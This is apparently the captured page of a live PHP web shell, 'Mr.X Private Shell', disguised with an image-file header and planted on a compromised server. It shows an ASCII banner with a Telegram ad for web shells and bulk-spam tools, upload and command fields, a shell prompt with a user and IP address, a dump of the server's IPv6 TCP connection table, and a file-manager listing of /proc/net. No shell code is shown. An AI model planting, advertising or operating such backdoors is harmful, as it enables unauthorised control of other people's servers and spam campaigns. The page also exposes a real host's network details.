����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.204: ~ $
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:008F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32877 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0035 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 23004 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 20952 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 417681509 1 0000000000000000 100 0 0 10 50
   4: 00000000000000000000000000000000:006E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32887 1 0000000000000000 100 0 0 10 0
   5: 00000000000000000000000000000000:006F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 18146 1 0000000000000000 100 0 0 10 0
   6: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 307752231 1 0000000000000000 100 0 0 10 0
   7: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 307752233 1 0000000000000000 100 0 0 10 0
   8: 00000000000000000000000000000000:01D1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 417681511 1 0000000000000000 100 0 0 10 50
   9: 00000000000000000000000000000000:024B 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 417681513 1 0000000000000000 100 0 0 10 50
  10: 00000000000000000000000000000000:03E3 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32889 1 0000000000000000 100 0 0 10 0
  11: 00000000000000000000000000000000:03E1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32879 1 0000000000000000 100 0 0 10 0
  12: 00000000000000000000000000000000:0CEA 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   985        0 36112 1 0000000000000000 100 0 0 10 0
  13: 00000000000000000000000000000000:1748 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 20970 1 0000000000000000 100 0 0 10 0
  14: 00000000000000000000000000000000:105E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32884 1 0000000000000000 100 0 0 10 0
  15: 00000000000000000000000001000000:030F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 36161 1 0000000000000000 100 0 0 10 0
  16: 00000000000000000000000000000000:CC06 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 307745293 1 0000000000000000 100 0 0 10 0
  17: 00000000000000000000000000000000:CC07 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 307745300 1 0000000000000000 100 0 0 10 0
  18: 00000000000000000000000000000000:CC04 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 307745292 1 0000000000000000 100 0 0 10 0
  19: 00000000000000000000000000000000:CC05 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 307745299 1 0000000000000000 100 0 0 10 0
  20: 00000000000000000000000000000000:CC03 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 307745298 1 0000000000000000 100 0 0 10 0
  21: 00000000000000000000000000000000:CC08 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 307745294 1 0000000000000000 100 0 0 10 0
  22: 07C2022A479233230000000001000000:CC88 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796492038 1 0000000000000000 29 4 27 10 -1
  23: 07C2022A479233230000000001000000:CBE2 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796481404 1 0000000000000000 21 4 33 10 -1
  24: 07C2022A479233230000000001000000:CBA4 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796490819 1 0000000000000000 22 4 29 10 -1
  25: 07C2022A479233230000000001000000:A71A 80FE022A000010100000000003001800:01BB 06 00000000:00000000 03:00001756 00000000     0        0 0 3 0000000000000000
  26: 07C2022A479233230000000001000000:CA5C 80FE022A000010100000000003001800:01BB 01 00000023:00000000 01:00000EA0 00000008  1009        0 796493893 2 0000000000000000 5222 4 33 1 7
  27: 07C2022A479233230000000001000000:CA7E 80FE022A000010100000000003001800:01BB 01 00000172:00000000 01:000018BA 00000008  1087        0 796495940 2 0000000000000000 6937 4 33 1 7
  28: 07C2022A479233230000000001000000:9384 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796522258 1 0000000000000000 20 4 27 10 -1
  29: 07C2022A479233230000000001000000:DCFA 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796487717 1 0000000000000000 23 4 27 10 -1
  30: 07C2022A479233230000000001000000:DAEE 80FE022A000010100000000003001800:01BB 02 00000001:00000000 01:00000253 00000005  1087        0 796504216 2 0000000000000000 3200 0 0 1 7
  31: 07C2022A479233230000000001000000:CA7C 80FE022A000010100000000003001800:01BB 01 00000172:00000000 01:000007A0 00000007  1014        0 796493927 2 0000000000000000 4812 4 33 1 7
  32: 07C2022A479233230000000001000000:B49E F804012A9A7191010000000003000000:01BB 01 00000000:00000000 02:000000AF 00000000     0        5 796483054 2 0000000000000000 22 4 33 10 -1
  33: 07C2022A479233230000000001000000:DCE4 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796482080 1 0000000000000000 55 4 29 10 -1
  34: 07C2022A479233230000000001000000:A72A 80FE022A000010100000000003001800:01BB 06 00000000:00000000 03:00001767 00000000     0        0 0 3 0000000000000000
  35: 07C2022A479233230000000001000000:CBD0 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796487983 1 0000000000000000 22 4 31 10 -1
  36: 07C2022A479233230000000001000000:DC88 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796478137 1 0000000000000000 21 4 27 10 -1
  37: 07C2022A479233230000000001000000:DC42 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796474254 1 0000000000000000 21 4 27 10 -1
  38: 07C2022A479233230000000001000000:CB82 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796484349 1 0000000000000000 20 4 27 10 -1
  39: 07C2022A479233230000000001000000:DD14 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796484185 1 0000000000000000 23 4 27 10 -1
  40: 07C2022A479233230000000001000000:DBC4 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796474126 1 0000000000000000 21 4 33 10 -1
  41: 07C2022A479233230000000001000000:DBD2 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796482730 1 0000000000000000 21 4 29 10 -1
  42: 07C2022A479233230000000001000000:DC62 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796480055 1 0000000000000000 22 4 29 10 -1
  43: 07C2022A479233230000000001000000:CA62 80FE022A000010100000000003001800:01BB 01 00000023:00000000 01:0000106D 00000008  1150        0 796492882 2 0000000000000000 5478 4 25 1 7
  44: 07C2022A479233230000000001000000:CBB4 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796482344 1 0000000000000000 23 4 27 10 -1
  45: 07C2022A479233230000000001000000:DCD8 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796478233 1 0000000000000000 20 4 29 10 -1
  46: 07C2022A479233230000000001000000:DAD0 80FE022A000010100000000003001800:01BB 02 00000001:00000000 01:00000220 00000005  1150        0 796506156 2 0000000000000000 3200 0 0 1 7
  47: 07C2022A479233230000000001000000:937A 004706260000313000000000E6041568:01BB 06 00000000:00000000 03:0000173C 00000000     0        0 0 3 0000000000000000
  48: 07C2022A479233230000000001000000:CC36 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1019        0 796483561 1 0000000000000000 20 4 33 10 -1
  49: 07C2022A479233230000000001000000:A116 F804012ACD7191010000000002000000:01BB 04 00000019:00000000 01:000009FA 00000007     0        2 0 3 0000000000000000 2854 4 30 1 7
  50: 07C2022A479233230000000001000000:DD30 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796485011 1 0000000000000000 22 4 29 10 -1
  51: 07C2022A479233230000000001000000:CA70 80FE022A000010100000000003001800:01BB 01 00000023:00000000 01:00000FBA 00000008  1150        0 796485376 2 0000000000000000 5350 4 25 1 7
  52: 07C2022A479233230000000001000000:CA4E 80FE022A000010100000000003001800:01BB 01 00000023:00000000 01:00001120 00000008  1150        0 796494861 2 0000000000000000 5555 4 33 1 7
  53: 07C2022A479233230000000001000000:CBB0 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796489857 1 0000000000000000 45 4 29 10 -1
  54: 07C2022A479233230000000001000000:DCDA 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796479386 1 0000000000000000 21 5 33 10 -1
  55: 07C2022A479233230000000001000000:DAD4 80FE022A000010100000000003001800:01BB 02 00000001:00000000 01:00000220 00000005  1150        0 796501208 2 0000000000000000 3200 0 0 1 7
  56: 07C2022A479233230000000001000000:CC0C 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796487115 1 0000000000000000 22 4 27 10 -1
  57: 07C2022A479233230000000001000000:DAE6 80FE022A000010100000000003001800:01BB 02 00000001:00000000 01:00000253 00000005  1014        0 796500356 2 0000000000000000 3200 0 0 1 7
  58: 07C2022A479233230000000001000000:CC7A 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796490099 1 0000000000000000 20 4 33 10 -1
  59: 07C2022A479233230000000001000000:DAB2 80FE022A000010100000000003001800:01BB 02 00000001:00000000 01:000001ED 00000005  1150        0 796500320 2 0000000000000000 3200 0 0 1 7
  60: 07C2022A479233230000000001000000:DAC2 80FE022A000010100000000003001800:01BB 02 00000001:00000000 01:00000220 00000005  1009        0 796499141 2 0000000000000000 3200 0 0 1 7
  61: 07C2022A479233230000000001000000:E0C8 004706260000353000000000D62C1568:0050 01 00000000:00000000 00:00000000 00000000  1014        0 796490106 1 0000000000000000 20 4 24 10 -1
  62: 00000000000000000000000001000000:C5E8 00000000000000000000000001000000:030F 06 00000000:00000000 03:00000AC2 00000000     0        0 0 3 0000000000000000
  63: 07C2022A479233230000000001000000:CC12 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796489969 1 0000000000000000 22 4 27 10 -1
  64: 07C2022A479233230000000001000000:CC26 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796481501 1 0000000000000000 21 4 33 10 -1
  65: 07C2022A479233230000000001000000:CC1A 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796487155 1 0000000000000000 20 4 27 10 -1
  66: 07C2022A479233230000000001000000:CBD6 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796485157 1 0000000000000000 22 4 29 10 -1
  67: 07C2022A479233230000000001000000:CB72 004706260000313000000000E6041568:01BB 01 00000000:00000000 00:00000000 00000000  1069        0 796480384 1 0000000000000000 21 4 27 10 -1

Filemanager

Name Type Size Permission Actions
dev_snmp6 Folder 0555
netfilter Folder 0555
rpc Folder 0555
stat Folder 0555
anycast6 File 0 B 0444
arp File 0 B 0444
connector File 0 B 0444
dev File 0 B 0444
dev_mcast File 0 B 0444
fib_trie File 0 B 0444
fib_triestat File 0 B 0444
icmp File 0 B 0444
icmp6 File 0 B 0444
if_inet6 File 0 B 0444
igmp File 0 B 0444
igmp6 File 0 B 0444
ip6_flowlabel File 0 B 0444
ip6_mr_cache File 0 B 0444
ip6_mr_vif File 0 B 0444
ip6_tables_matches File 0 B 0440
ip6_tables_names File 0 B 0440
ip6_tables_targets File 0 B 0440
ip_mr_cache File 0 B 0444
ip_mr_vif File 0 B 0444
ip_tables_matches File 0 B 0440
ip_tables_names File 0 B 0440
ip_tables_targets File 0 B 0440
ipv6_route File 0 B 0444
mcfilter File 0 B 0444
mcfilter6 File 0 B 0444
netlink File 0 B 0444
netstat File 0 B 0444
nf_conntrack File 0 B 0440
nf_conntrack_expect File 0 B 0440
packet File 0 B 0444
protocols File 0 B 0444
psched File 0 B 0444
ptype File 0 B 0444
raw File 0 B 0444
raw6 File 0 B 0444
route File 0 B 0444
rt6_stats File 0 B 0444
rt_acct File 0 B 0444
rt_cache File 0 B 0444
snmp File 0 B 0444
snmp6 File 0 B 0444
sockstat File 0 B 0444
sockstat6 File 0 B 0444
softnet_stat File 0 B 0444
tcp File 0 B 0444
tcp6 File 0 B 0444
udp File 0 B 0444
udp6 File 0 B 0444
udplite File 0 B 0444
udplite6 File 0 B 0444
unix File 0 B 0444
xfrm_stat File 0 B 0444